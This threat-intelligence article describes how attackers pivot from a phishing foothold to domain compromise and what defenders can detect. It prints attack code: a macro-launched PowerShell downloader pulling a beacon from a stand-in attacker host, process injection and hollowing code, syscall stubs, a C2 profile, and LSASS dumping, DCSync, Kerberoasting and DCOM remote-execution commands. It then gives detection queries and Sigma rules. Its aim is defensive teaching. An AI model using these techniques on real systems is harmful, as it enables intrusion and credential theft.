How APT Groups Pivot from Initial Access to Domain Dominance in Under 4 Hours
You're staring at an EDR alert from 11:47 PM. A Word document spawned PowerShell. By the time your analyst acknowledges the ticket at 12:09 AM, the attacker already has a beacon calling home, has run BloodHound across your entire AD, dumped credentials from LSASS, and is authenticating to your domain controller with a Domain Admin hash. The "200-day dwell time" you quoted last quarter's board meeting is about to become a footnote. This intrusion will be over in four hours.
Category: Threat Intelligence · Reading time: 25 min · Audience: SOC Analysts, Detection Engineers, Incident Responders
Section 1 The 4-Hour Clock: Why Dwell Time Statistics Are Killing Your Security Posture
The "197-day average dwell time" figure has been cited in board decks and budget justifications for a decade. It is not wrong it is simply irrelevant to how modern targeted intrusions unfold.
That average is anchored by two outlier scenarios: low-sophistication actors who establish persistence and sit idle, and nation-state espionage campaigns deliberately designed for long-term quiet collection. Neither describes your ransomware operator, your financially motivated eCrime group, or an actor running a targeted smash-and-grab on intellectual property.
The metric that matters for defenders is breakout time elapsed time from an adversary gaining initial access on the first host to beginning lateral movement to a second host. Industry reporting from 2024 puts the median at 62 minutes. The fastest recorded case was under 3 minutes.
This single statistic should reshape how you think about every SLA in your SOC.
What the Timeline Actually Looks Like
The following is a composite timeline reconstructed from multiple public DFIR reports, combining elements from documented intrusions by groups including SCATTERED SPIDER, Cl0p affiliates during the MOVEit campaign, and ALPHV/BlackCat operators. No single engagement will match this exactly, but every element below has been observed in documented intrusions within the timeframes noted.
Why Your Current SLAs Cannot Keep Up
If your P1 acknowledgment SLA is 15 minutes and your containment SLA is 4 hours, you are structurally incapable of preventing lateral movement against an adversary operating on this timeline. The math does not work, and tuning detections without addressing response velocity is rearranging deck chairs.
This is not an argument for panic it is an argument for automated containment triggers on specific high-confidence events, rather than relying on human-in-the-loop for every step of the response chain.
Section 2 Technical Anatomy of a Fast Pivot
Speed comes from tooling that has been refined over years of red team and criminal operator use. Here is exactly what the execution looks like at the command level.
Stage 1: Establishing the Foothold
Macro-based initial access (still common in targeted attacks):
' Embedded in .doc / .xlsm delivered via phishing
Sub AutoOpen()
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
' Download and execute in-memory via PowerShell
wsh.Run "powershell -nop -w hidden -enc " & Base64EncodedPayload, 0, False
End Sub
The encoded payload typically resolves to something like:
# Decoded: download and reflectively load a beacon
$data = (New-Object System.Net.WebClient).DownloadData('https://cdn-update[.]com/update.bin')
$asm = [System.Reflection.Assembly]::Load($data)
$asm.EntryPoint.Invoke($null, $null)
Nothing touches disk. The beacon is loaded into the PowerShell process memory space directly.
ISO/LNK delivery (bypasses Mark-of-the-Web):
# LNK target field (visible in properties or forensic tools):
C:\Windows\System32\cmd.exe /c start \\attacker-host\share\payload.dll
# OR via GLOBALROOT UNC (bypasses drive-letter path checks):
C:\Windows\System32\cmd.exe /c start \\?\GLOBALROOT\Device\Mup\attacker-host\share\payload.dll
# OR simpler:
C:\Windows\System32\rundll32.exe payload.dll,EntryPoint
ISO files mounted by double-click in Windows 10/11 do not inherit MOTW from the container, so SmartScreen and Attachment Manager do not flag the contents.
Stage 2: Process Injection Getting Out of the Initial Process
Staying inside WINWORD.EXE or powershell.exe is noisy. The first task after payload execution is migrating into a less suspicious process.
Classic CreateRemoteThread injection (loud, still used by lower-tier actors):
// Attacker-side: inject shellcode into target PID
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID mem = VirtualAllocEx(hProc, NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, shellcodeLen, NULL);
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
This generates Sysmon Event ID 8 (CreateRemoteThread) detectable if you are collecting it.
Process hollowing (more evasive):
// Create suspended process, replace image with shellcode
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcess("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Get thread context to find image base
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// Unmap original image, write shellcode at same base address
NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
VirtualAllocEx(pi.hProcess, (PVOID)imageBase, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)imageBase, shellcode, shellcodeLen, NULL);
// Resume thread now running attacker code inside svchost.exe
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
The resulting process shows as svchost.exe in Task Manager and most EDR process trees. Detection requires checking whether the on-disk image hash matches what is loaded in memory a capability present in some EDRs but not all.
Direct syscalls (bypasses user-mode hooks):
Modern EDRs hook user-mode APIs like NtAllocateVirtualMemory, NtWriteVirtualMemory, and NtCreateThreadEx in ntdll.dll to intercept injection attempts. Attackers bypass this by calling the syscall directly:
; Direct syscall stub for NtAllocateVirtualMemory (Windows 10 21H2 syscall number)
NtAllocateVirtualMemory:
mov r10, rcx
mov eax, 18h ; syscall number varies by Windows build
syscall
ret
Tools like SysWhispers2 and SysWhispers3 automate generating these stubs for any NT function. The result: injection with no user-mode hooks touched, no EDR API intercept possible.
Stage 3: C2 Communication What the Beacon Actually Looks Like
A tuned Cobalt Strike beacon over HTTPS will look like this on the wire:
# HTTP GET beacon request (simplified)
GET /jquery-3.3.1.min.js HTTP/1.1
Host: updates.microsoftcdn-assets[.]com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=1.1234567890.1234567890.1234567890.1234567890.1;
__utmz=1.1234567890.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive
# The cookie value is the encoded beacon metadata + encrypted command request
# The server response contains encoded tasking in the response body,
# disguised as a legitimate jQuery file
The malleable C2 profile controls all of this URI, headers, encoding, response format. A sample profile snippet that mimics Amazon browsing:
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" "www.amazon.com";
metadata {
base64url;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=UTF-8";
header "Server" "Server";
output {
print;
}
}
}
The metadata block encodes the beacon's check-in data inside a realistic Cookie header. Network-level detection based on URI or header inspection will not catch this without behavioral analysis.
Stage 4: Reconnaissance BloodHound at Full Speed
SharpHound (the BloodHound collector) runs as a .NET assembly, typically executed in-memory via execute-assembly:
# Cobalt Strike console:
execute-assembly /opt/tools/SharpHound.exe -c All --zipfilename loot.zip --outputdirectory C:\Users\Public\
# Common collection flags:
# -c All : collect all data types (sessions, ACLs, trusts, containers)
# --stealth : reduced noise mode, skips session enumeration
# --domaincontroller <DC> : target specific DC to reduce distributed noise
# --excludedcs : skip DCs in session enumeration (less noisy)
What this generates on the network in the first 4 minutes:
# LDAP queries to DC (port 389/636):
- objectClass=computer (all machines in domain)
- objectClass=user (all user accounts)
- objectClass=group (all groups)
- objectClass=organizationalUnit
- objectClass=trustedDomain (trust relationships)
- nTSecurityDescriptor (ACL collection the noisy one)
- userAccountControl
- servicePrincipalName (Kerberoastable accounts)
# SMB connections (port 445) to sampled workstations:
- NetSessionEnum (session enumeration)
- This generates Event ID 4624 (logon) + 4634 (logoff) on each target
Total LDAP query volume against the DC: 200–2000 queries in 4 minutes depending on domain size. For a 1,000-user domain, this is 3–8x the normal LDAP query rate from workstations detectable but only if you are baselining LDAP rates per source.
Reading the BloodHound output what the attacker sees:
The attacker now has a GPS-guided path to DA. The individual misconfigurations (helpdesk having local admin on workstations, a DA account running as a service) are each defensible in isolation together they form a chain.
Stage 5: Credential Dumping
Method 1: LSASS via comsvcs.dll (no external tools)
# Get LSASS PID
tasklist /fi "imagename eq lsass.exe"
# Dump via built-in Windows DLL no Mimikatz binary needed
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 612 C:\Windows\Temp\lsass.dmp full
# Exfiltrate and parse offline with Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
This uses a signed Microsoft DLL. No malware binary is written to disk.
Method 2: Direct syscall LSASS access (bypasses EDR hooks on OpenProcess)
// Using direct NtReadVirtualMemory syscall stub
// EDR hooks on ReadProcessMemory in ntdll are bypassed
HANDLE hProc;
OBJECT_ATTRIBUTES oa = {0};
CLIENT_ID cid = {(HANDLE)lsassPID, NULL};
NtOpenProcess(&hProc, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
&oa, &cid); // direct syscall no EDR hook
// Read LSASS memory regions containing credentials
NtReadVirtualMemory(hProc, baseAddr, buffer, size, &bytesRead);
Method 3: DCSync (requires Replicating Directory Changes All)
# Mimikatz executed on any machine where the operator has sufficient privileges
# Does NOT need to run on a DC
lsadump::dcsync /domain:corp.local /all /csv
# OR for a specific account:
lsadump::dcsync /domain:corp.local /user:krbtgt
# Output:
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
Credentials:
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
With the krbtgt hash, the attacker can forge Kerberos tickets for any account in the domain a Golden Ticket. The domain is fully compromised. Resetting krbtgt once is insufficient (it must be reset twice, 10 hours apart, to invalidate all forged tickets).
Method 4: Kerberoasting (offline, no LSASS access needed)
# Request service tickets for all Kerberoastable SPNs
# Runs as any domain user no elevated privileges required
Add-Type -AssemblyName System.IdentityModel
$spns = @("MSSQLSvc/sqlserver.corp.local:1433",
"HTTP/webapp.corp.local",
"backup/backupsrv.corp.local")
foreach ($spn in $spns) {
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList $spn
$ticketBytes = $ticket.GetRequest()
# Extract RC4/AES encrypted portion and submit to hashcat
}
Cracking with hashcat:
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Against weak passwords, expect cracks in seconds to minutes
# Strong service account passwords (25+ chars, random) are infeasible to crack
The defense is trivially simple: service account passwords should be 30+ character random strings, managed via Group Managed Service Accounts (gMSA). Yet Kerberoastable accounts with crackable passwords are found in virtually every enterprise AD environment.
Stage 6: Lateral Movement DCOM in Detail
DCOM lateral movement is the technique that most SOCs have inadequate detection coverage for.
MMC20.Application object:
# From attacker-controlled host, targeting VICTIM-HOST
$com = [System.Activator]::CreateInstance(
[System.Type]::GetTypeFromProgID("MMC20.Application", "VICTIM-HOST")
)
# Execute arbitrary command on remote host spawns under mmc.exe on target
$com.Document.ActiveView.ExecuteShellCommand(
"cmd.exe",
$null,
"/c powershell -nop -w hidden -enc [BASE64_BEACON]",
"7" # window state: hidden
)
ShellWindows / ShellBrowserWindow (execution appears under explorer.exe):
$com = [System.Activator]::CreateInstance(
[System.Type]::GetTypeFromProgID("Shell.Application", "VICTIM-HOST")
)
$item = $com.Windows() | Where-Object {$_.FullName -like "*explorer*"} | Select -First 1
$item.Document.Application.ShellExecute(
"cmd.exe",
"/c powershell -nop -w hidden -enc [BASE64_BEACON]",
"C:\Windows\System32",
$null,
0
)
What this generates in Windows event logs on the target:
Event ID: 4688 (Process Creation)
Creator Process: C:\Windows\explorer.exe
New Process: C:\Windows\System32\cmd.exe
Command Line: cmd.exe /c powershell -nop -w hidden -enc AAAA...
Logon ID: 0x3E7
There is no Event ID 7045 (service installed), no 5140/5145 (share access), no 4648 (explicit credential logon if pass-the-hash is used). The two event IDs most lateral movement detections are built around are absent.
Section 3 What Telemetry Catches and What It Silently Misses
What EDR Catches Well
| Technique | Detection Method | Reliability |
|---|---|---|
| Default Cobalt Strike beacon | Memory scanning for beacon PE characteristics | High |
CreateRemoteThread injection | Sysmon Event ID 8, anomalous source/target | Medium-High |
Direct OpenProcess to LSASS | Kernel callback instrumentation | High |
| Mimikatz binary on disk | AV signature | High |
Common LOLBin abuse (certutil, mshta, regsvr32) | Process creation + command line | Medium |
Where Detection Fails
Token impersonation near-zero detection coverage:
When an attacker calls ImpersonateLoggedOnUser or duplicates a token via DuplicateTokenEx + CreateProcessWithTokenW, the resulting process inherits the victim token. Event ID 4688 shows the impersonated user as the process creator it looks like that user legitimately launched the process.
// Attacker runs as SYSTEM, impersonates Domain Admin token from a running session
HANDLE hDupToken;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);
CreateProcessWithTokenW(hDupToken, 0, "cmd.exe", ...);
// Event 4688: Creator = DA_username, Parent = legitimate process
// No anomaly signal at process level
Detection requires correlating the logon session ID of the created process against the process tree lineage available in Sysmon EventID 1 LogonId field but rarely queried.
Pass-the-hash the tell is a single field almost nobody checks:
Event ID: 4624 (Logon)
Logon Type: 3 (Network)
Authentication Package: NTLM
Logon Process: NtLmSsp
Workstation: ATTACKER-HOST
Key Length: 0 <-- THIS IS THE TELL
Key Length of 0 in a Type 3 NTLM logon indicates no session key was negotiated a characteristic of pass-the-hash. This field is almost never included in standard SIEM correlation rules.
DCSync only caught if audit policy is correct:
DCSync generates Event ID 4662 on the Domain Controller, but only if Audit Directory Service Access is enabled for success events which most environments have disabled due to log volume.
When enabled, the signal is unambiguous:
Event ID: 4662
Object Type: domainDNS
Properties: DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Subject: CORP\jsmith <-- should be a computer account, not a user
A 4662 event where the subject is a user account (not a $ computer account) requesting replication permissions is an unconditional true positive it has no legitimate explanation in a normal environment.
Low-and-slow Kerberoasting no volume anomaly to detect:
Event ID: 4769 (Kerberos Service Ticket Operation)
Account Name: jsmith@CORP.LOCAL
Service Name: svcbackup
Ticket Encryption Type: 0x17 <-- RC4-HMAC: this is the tell
Encryption type 0x17 (RC4-HMAC) for a TGS request, when AES is available and expected, is anomalous. If your service accounts are configured to support only AES, any RC4 TGS request is impossible under normal operation making it a zero-false-positive detection.
Section 4 The Three Detection Checkpoints You Must Win
Checkpoint 1: C2 Beaconing Detection
Connection interval jitter analysis (Splunk)
Normal browsing generates variable connection intervals. A beacon sleeping 45s ±25% generates intervals clustering in a 33–56 second band low variance over many observations.
index=proxy dest_category=external action=allowed
| eval interval=_time
| sort src_ip dest_ip _time
| streamstats window=2 current=t by src_ip dest_ip
last(_time) as prev_time
| eval gap = _time - prev_time
| where gap > 0
| stats
count as req_count,
avg(gap) as avg_interval,
stdev(gap) as jitter,
min(gap) as min_gap,
max(gap) as max_gap
by src_ip, dest_ip
| where req_count > 20
AND avg_interval > 20
AND avg_interval < 300
AND jitter < 15
AND (max_gap - min_gap) < 60
| table src_ip, dest_ip, req_count, avg_interval, jitter
| sort jitter
JARM fingerprint matching
JARM fingerprints TLS servers. Default Cobalt Strike team servers have known JARM hashes regardless of the domain or certificate used.
# Fingerprint a suspicious C2 candidate
python3 jarm.py suspicious-domain[.]com -p 443
# Known malicious JARM hashes (Cobalt Strike defaults as of 2023):
# 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
# 2ad2ad0002ad2ad22c42d42d000000032d2ad2ad2ad2ad2ad0ad23abf4b834
Certificate age + infrastructure freshness (Python)
import ssl, socket, datetime
def check_c2_indicators(domain):
indicators = {}
# Check certificate issuance date
ctx = ssl.create_default_context()
with ctx.wrap_socket(socket.socket(), server_hostname=domain) as s:
s.connect((domain, 443))
cert = s.getpeercert()
not_before = datetime.datetime.strptime(
cert['notBefore'], "%b %d %H:%M:%S %Y %Z")
cert_age_days = (datetime.datetime.utcnow() - not_before).days
indicators['cert_young'] = cert_age_days < 30 # Fresh cert: suspicious
# Check domain registration age via WHOIS
import whois
w = whois.whois(domain)
if w.creation_date:
reg_date = w.creation_date[0] if isinstance(w.creation_date, list) else w.creation_date
domain_age = (datetime.datetime.utcnow() - reg_date).days
indicators['domain_young'] = domain_age < 90
# Score: cert_young + domain_young + suspicious_asn = high confidence C2
score = sum([indicators.get('cert_young', 0),
indicators.get('domain_young', 0)])
indicators['suspicion_score'] = score
return indicators
Domains scoring 2/2 on this check warrant immediate investigation.
Checkpoint 2: BloodHound Collection Detection
The LDAP burst signature is distinctive. Alert condition: more than 150 Event ID 1644 entries from a single non-DC source within 5 minutes.
Event ID 1644 must be enabled explicitly:
# Enable on all DCs via GPO or registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics" /v "15 Field Engineering" /t REG_DWORD /d 5 /f
Kibana query:
{
"query": {
"bool": {
"must": [
{ "term": { "event.code": "1644" }},
{ "term": { "winlog.channel": "Directory Service" }},
{ "range": { "@timestamp": { "gte": "now-5m" }}}
],
"should": [
{ "wildcard": { "winlog.event_data.Filter": "*objectClass=computer*" }},
{ "wildcard": { "winlog.event_data.Filter": "*nTSecurityDescriptor*" }},
{ "wildcard": { "winlog.event_data.Filter": "*servicePrincipalName*" }}
],
"minimum_should_match": 2
}
}
}
Checkpoint 3: Credential Dumping Detection
comsvcs.dll MiniDump Sigma rule:
title: LSASS Dump via comsvcs.dll MiniDump
status: production
description: Detects LSASS memory dump using the built-in comsvcs.dll MiniDump export
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 4688
NewProcessName|endswith: '\rundll32.exe'
CommandLine|contains|all:
- 'comsvcs'
- 'MiniDump'
condition: selection
falsepositives:
- None known
level: critical
tags:
- attack.credential_access
- attack.t1003.001
DCSync Sigma rule:
title: DCSync Attack - Replication Rights Abuse
status: production
description: >
Detects DCSync by identifying replication rights exercised
by a non-computer, non-DC account
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
filter_computer_accounts:
SubjectUserName|endswith: '$'
filter_known_dc_sync:
SubjectUserName|startswith:
- 'MSOL_'
- 'AADConnect'
condition: selection and not filter_computer_accounts and not filter_known_dc_sync
falsepositives:
- Azure AD Connect sync accounts (add to filter)
level: critical
tags:
- attack.credential_access
- attack.t1003.006
Kerberoasting RC4 Sigma rule:
title: Kerberoasting - RC4 TGS Request for AES-Capable Account
status: production
description: >
Detects Kerberos TGS requests using RC4 encryption for accounts
that should be requesting AES. Indicates potential Kerberoasting.
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
TicketOptions: '0x40810000'
filter_legit:
ServiceName: 'krbtgt'
condition: selection and not filter_legit
falsepositives:
- Legacy systems without AES support (document and exclude)
level: high
tags:
- attack.credential_access
- attack.t1558.003
Section 5 Building a Breakout Timer Metric for Your SOC
Measuring Breakout Time Internally
import pandas as pd
from datetime import datetime
def calculate_breakout_time(incident_events):
"""
incident_events: DataFrame with columns:
timestamp, host, event_type, description
"""
initial_host = incident_events[
incident_events['event_type'].isin(['c2_beacon', 'payload_execution', 'malicious_macro'])
].sort_values('timestamp').iloc[0]
t_access = initial_host['timestamp']
source_host = initial_host['host']
lateral_events = incident_events[
(incident_events['host'] != source_host) &
(incident_events['event_type'].isin([
'lateral_movement', 'pass_the_hash',
'remote_execution', 'new_beacon'
]))
].sort_values('timestamp')
if lateral_events.empty:
return None
t_lateral = lateral_events.iloc[0]['timestamp']
breakout_seconds = (t_lateral - t_access).total_seconds()
return {
'breakout_minutes': breakout_seconds / 60,
'source_host': source_host,
'first_lateral_host': lateral_events.iloc[0]['host']
}
After 5–10 incidents you have an internal breakout time distribution more relevant than industry averages because it reflects your specific environment and attacker targeting patterns.
The Three SOC Metrics That Map Directly to This
1. MTTD for lateral movement precursors
Not generic malware MTTD specifically: time from first C2 beacon timestamp to first human acknowledgment of active intrusion. Measure by pulling the earliest related event timestamp in every IR timeline and comparing to the first ticket creation timestamp.
2. Alert-to-containment gap
Most of the gap is not investigation time it is approval time. Automating containment for specific high-confidence events (confirmed C2 beacon, confirmed LSASS dump, confirmed DCSync) eliminates approval latency for the highest-severity triggers.
3. Detection checkpoint coverage rate
Of the three checkpoints above, what percentage of test intrusions trigger at least one alert at each? Run quarterly using purple team exercises or Atomic Red Team automation.
| Checkpoint | Target Coverage |
|---|---|
| Checkpoint 3 Credential dumping | 100% |
| Checkpoint 2 BloodHound collection | 80% |
| Checkpoint 1 C2 beaconing | 60% |
Making the Investment Case
Current state:
Median attacker breakout time (internal): 47 minutes
Current alert-to-containment gap: 4.5 hours
Coverage gap: −4 hours 13 minutes
Probability of containing before DA access: ~0%
With automated containment for Checkpoint 3 events:
Alert-to-containment gap (automated): 4 minutes
Coverage gap: +43 minutes
Probability of containing before DA access: ~85% (estimated)
Investment required:
- SOAR playbook development: 40 hours engineering
- Runbook approval changes: governance approval
- Quarterly validation: 2 days/quarter
Summary: The Operational Checklist
Immediate actions (this week)
- Enable Event ID 1644 LDAP diagnostic logging on all Domain Controllers
- Enable
Audit Directory Service Accessfor success events on DCs - Deploy the DCSync Sigma rule zero false positives in standard environments
- Add
comsvcs.dll MiniDumpprocess creation detection no legitimate use case
30-day actions
- Baseline LDAP query rates per source workstation to enable BloodHound detection
- Run BloodHound against your own environment enumerate every DA path
- Identify all Kerberoastable accounts and migrate to gMSA or 30+ char random passwords
- Audit
msDS-SupportedEncryptionTypesdisable RC4 where possible
Quarterly
- Run SharpHound in your environment and verify your detection triggers
- Execute comsvcs.dll dump against a test host and verify your SIEM alerts
- Simulate a DCSync from a non-DC host and verify your 4662 alert fires
- Measure your alert-to-containment gap for the last 5 real incidents
The fundamental shift
Detection built around human-in-the-loop review cannot keep pace with adversary breakout times under 60 minutes. The architecture that works:
High-fidelity automated detection → automated containment for specific trigger events → human review of containment decision in parallel, not in series.
The three events (DCSync, comsvcs MiniDump, confirmed C2 beacon) have near-zero false positive rates when properly tuned. Automated containment on these events will generate almost no incorrect isolations while dramatically compressing your exposure window.
References and Further Reading
- CrowdStrike 2024 Global Threat Report breakout time statistics, eCrime methodology
- DFIR Report (dfirreport.com) full intrusion timelines with raw telemetry and IOCs
- MITRE ATT&CK T1021.003 (DCOM lateral movement) documented adversary procedures
- Harmj0y BloodHound documentation ACL abuse paths and enumeration methodology
- SysWhispers2/3 GitHub direct syscall implementation reference
- Elastic Security Labs JARM-based infrastructure detection methodology
- Microsoft MSDN Event ID 4662, 4769, 1644 field documentation
- Impacket GitHub reference implementation of PTH, DCSync, DCOM attack tooling
Further Reading
- How Attackers Abuse Entra ID & OAuth Without Malware identity-layer attacks that follow the same initial access patterns
- MFA Bypass in 2025–2026: Device Code Phishing, Token Replay how attackers maintain persistence after domain compromise
- Windows Event Log Architecture: Why Your SIEM Is Missing 30% of Events close the telemetry gaps attackers exploit in this timeline
- Network Forensics Without a Tap reconstruct lateral movement when EDR is disabled or unavailable
All commands and code in this post describe attacker techniques documented in public DFIR reports and academic research. They are presented for defensive detection purposes only. Running these techniques against systems you do not own or have explicit written authorization to test is illegal.